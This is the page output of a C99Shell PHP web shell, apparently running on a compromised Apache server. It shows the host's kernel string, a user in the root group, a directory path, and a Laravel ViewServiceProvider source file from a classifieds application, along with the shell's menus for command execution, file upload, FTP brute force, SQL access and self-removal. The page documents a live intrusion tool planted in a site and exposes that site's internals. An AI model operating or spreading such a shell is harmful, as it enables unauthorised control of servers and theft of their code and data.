!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Providers/   drwxr-xr-x
Free 29.21 GB of 117.98 GB (24.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ViewServiceProvider.php (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Providers;

use 
App\Models\Cookies;
use 
Carbon\Carbon;
use 
Illuminate\Support\Facades\Cache;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Schema;
use 
Illuminate\Support\ServiceProvider;

class 
ViewServiceProvider extends ServiceProvider
{
    
/**
     * Register services.
     */
    
public function register(): void
    
{
        
//
    
}

    
/**
     * Bootstrap services.
     */
    
public function boot(): void
    
{
        if (! 
app()->runningInConsole()) {
            
// Load data from helper with caching
            
if (Schema::hasTable('countries') && DB::table('countries')->count() > 0) {
                
$headerCountries loadCountries();
            } else {
                
$headerCountries = [];
            }

            if (
Schema::hasTable('user_document_verifications')) {
                
$document_verification_requests loadDocumentVerificationRequests();
            } else {
                
$document_verification_requests 0;
            }

            
$expirationTime Carbon::now()->addDays(30);
            
$cookies Cache::remember('cookies_data'$expirationTime, function () {
                return 
Cookies::first();
            });
            
$load_setting loadSetting();
            
$load_languages loadLanguage();
            
$module_setting loadModuleSetting();
            
$cookies_setting loadCookiesSetting();
            
$cms_setting loadCmsSetting();
            
$load_currencies loadHeaderCurrency();
            
$load_mobile_app_config loadMobileAppConfig();
            
$load_footer_categories loadFooterCategories();
            
$load_top_categories loadTopCategories();
            
$load_report_categories loadReportCategories();

            
// Share data to all views
            
view()->share('setting'$load_setting);
            
view()->share('cookies'$cookies);
            
view()->share('languages'$load_languages);
            
view()->share('headerCountries'$headerCountries);
            
view()->share('cookies'$cookies_setting);
            
view()->share('cms'$cms_setting);
            
view()->share('mobile_setting'$load_mobile_app_config);
            
view()->share('headerCurrencies'$load_currencies);
            
view()->share('document_verification_requests'$document_verification_requests);
            
view()->share('footer_categories'$load_footer_categories);
            
view()->share('top_categories'$load_top_categories);
            
view()->share('ad_report_categories'$load_report_categories);

            if (
$module_setting) {
                
view()->share('blog_enable'$module_setting->blog);
                
view()->share('newsletter_enable'$module_setting->newsletter);
                
view()->share('contact_enable'$module_setting->contact);
                
view()->share('faq_enable'$module_setting->faq);
                
view()->share('testimonial_enable'$module_setting->testimonial);
                
view()->share('priceplan_enable'$module_setting->price_plan);
                
view()->share('language_enable'$module_setting->language);
                
view()->share('appearance_enable'$module_setting->appearance);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--